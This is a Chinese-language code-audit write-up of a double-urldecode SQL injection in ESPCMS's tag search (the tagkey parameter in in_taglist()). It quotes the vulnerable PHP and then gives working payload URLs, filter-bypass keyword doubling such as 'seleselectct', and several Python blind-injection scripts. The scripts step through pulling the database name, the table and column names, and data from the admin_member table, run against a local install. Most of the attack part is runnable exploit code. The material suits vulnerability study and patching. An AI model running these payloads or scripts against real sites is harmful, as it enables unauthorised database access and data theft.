espcms搜索注入
原理
二次urldecode注入
使用了urldecode
或者rawurldecode
函数可能会导致单引号(’)、双引号(”)、反斜杠(/)等符号被注入到语句,进而产生漏洞
addslashes()
、mysql_real_escape_string()
、mysql_escape_string()
等函数能对urldecode()
后的结果处理,从而避免产生漏洞
eg:
xx.php?id=1%2527
,浏览器接收后先进行一次自解码id=1%27
,%25解码为%,urlencode()
再解码,变成id=1'
,产生注入漏洞
代码审计的时候可以通过搜索这两个函数urldecode
或者rawurldecode
来寻找漏洞
操作演示
先搭建环境,进入首页,配置好数据库及其他配置
漏洞在interface/search.php
文件和interface/3gwap_search.php
文件in_taglist()
函数
可以看到一个搜索框和两个参数,审计代码
代码中有三个函数,in_list(),in_result(),in_taglist()
,第二函数应该是调用函数,阅读代码得到第三个参数是tagkey
函数代码
function in_taglist() {
parent::start_pagetemplate();
include_once admin_ROOT . 'public/class_pagebotton.php';
$page = $this->fun->accept('page', 'G');
$page = isset($page) ? intval($page) : 1;
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
$tagkey = $this->fun->inputcodetrim($tagkey);
$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
if (empty($tagkey)) {
$linkURL = $_SERVER['HTTP_REFERER'];
$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
}
if (!empty($tagkey)) {
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
}
$pagemax = 20;
$pagesylte = 1;
$templatesDIR = $this->get_templatesdir('article');
$templatefilename = $lng . '/' . $templatesDIR . '/search';
$db_table = db_prefix . 'document';
$countnum = $this->db_numrows($db_table, $db_where);
if ($countnum > 0) {
$numpage = ceil($countnum / $pagemax);
} else {
$numpage = 1;
}
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
$sql = $this->htmlpage->PageSQL('pid,did', 'down');
$rs = $this->db->query($sql);
while ($rsList = $this->db->fetch_assoc($rs)) {
$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList[$keyname] = str_ireplace($keyword, '<font color="#F00000"><u>' . $keyword . '</u></font>', $rsList[$keyname]);
$array[] = $rsList;
}
$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));
$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());
$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));
$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());
$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());
$this->pagetemplate->assign('array', $array);
$this->pagetemplate->assign('path', 'search');
unset($array, $typeread, $modelview, $LANPACK, $this->lng);
$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);
}
里面的几条重要语句
$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
这句语句就是漏洞的根源,fun先检测,urlencode再转义
if (!empty($tagkey)) {
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
}
不为空就拼接成where子句
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
$rs = $this->db->query($sql);
创建并且执行sql语句,可以看到中间并没有其他的手段
在如图添加一条回显,方便调试
可以看到单引号被转义了,这时利用urldecode()
的特性,报错存在注入
$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
有这两条语句得到测试payload
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or 1=1 %23
返回结果为真
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or 1=2 %23
返回结果为假
可以将”暂无内容”设为盲注的标准
测试注入数据库长度
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or (seleselectct length(database())=9) %23
相符合,其他的用脚本就能跑出来
脚本演示
爆数据库长度
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
for i in range(1, 100):
payload = r'or (seleselectct length(database()))={} %23'.format(i)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
print(str(i))
# 9
爆数据库名
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
database_length = 9
database_name = ''
for i in range(1, database_length + 1):
for j in range(0, 128):
payload = r'or ascii(substr((seleselectct database()),{0}, 1))={1} %23'.format(i, j)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
database_name += str(chr(j))
print(database_name)
'''
e
es
esp
espc
espcm
espcms
espcms_
espcms_v
espcms_v5
'''
爆表的长度(第一个表)
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
for i in range(1, 100):
payload = r'or (seleselectct length(table_name) frfromom information_schema.tables whwhereere table_schema=database() limit 0,1)={} %23'.format(i)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
print(str(i))
# 19
要爆其他表可以在limit
的第一参数更改,或者再加一个循环
爆表名
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
table_length = 19
table_name = ''
for i in range(1, table_length + 1):
for j in range(0, 128):
payload = r'or ascii(substr((seleselectct table_name frfromom information_schema.tables whwhereere table_schema=database() limit 0,1),{0}, 1))={1} %23'.format(i, j)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
table_name += str(chr(j))
print(table_name)
# xxxxxxxadmin_member
爆列的长度
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
table_name = 'xxxxxxxadmin_member'
for i in range(1, 100):
payload = r'or (seleselectct length(column_name) frfromom information_schema.columns whwhereere table_name=%2527{0}%2527 limit 0,1)={1} %23'.format(table_name, i)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
print(str(i))
# 2
爆列名
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
column_length = 2
table_name = 'xxxxxxxadmin_member'
column_name = ''
for i in range(1, column_length + 1):
for j in range(0, 128):
payload = r'or ascii(substr((seleselectct column_name frfromom information_schema.columns whwhereere table_name=%2527{0}%2527 limit 0,1),{1}, 1))={2} %23'.format(table_name, i, j)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
column_name += str(chr(j))
print(column_name)
# id
爆值的长度
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
column_name = 'id'
table_name = 'xxxxxxxadmin_member'
for i in range(1, 100):
payload = r'or (seleselectct length({0}) frfromom {1} limit 0,1)={2} %23'.format(column_name, table_name, i)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
print(str(i))
# 1
爆值
import requests
url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
key_length = 1
column_name = "id"
table_name = 'xxxxxxxadmin_member'
key_name = ''
for i in range(1, key_length + 1):
for j in range(0, 128):
payload = r'or ascii(substr((seleselectct {0} frfromom {1} limit 0,1),{2},1))={3} %23'.format(column_name, table_name, i,j)
r = requests.get(url + payload)
if "暂无内容" not in r.text:
key_name += str(chr(j))
print(key_name)
# 1
查看表中数据相符,这就是整个流程,当然可以直接放在sqlmap里跑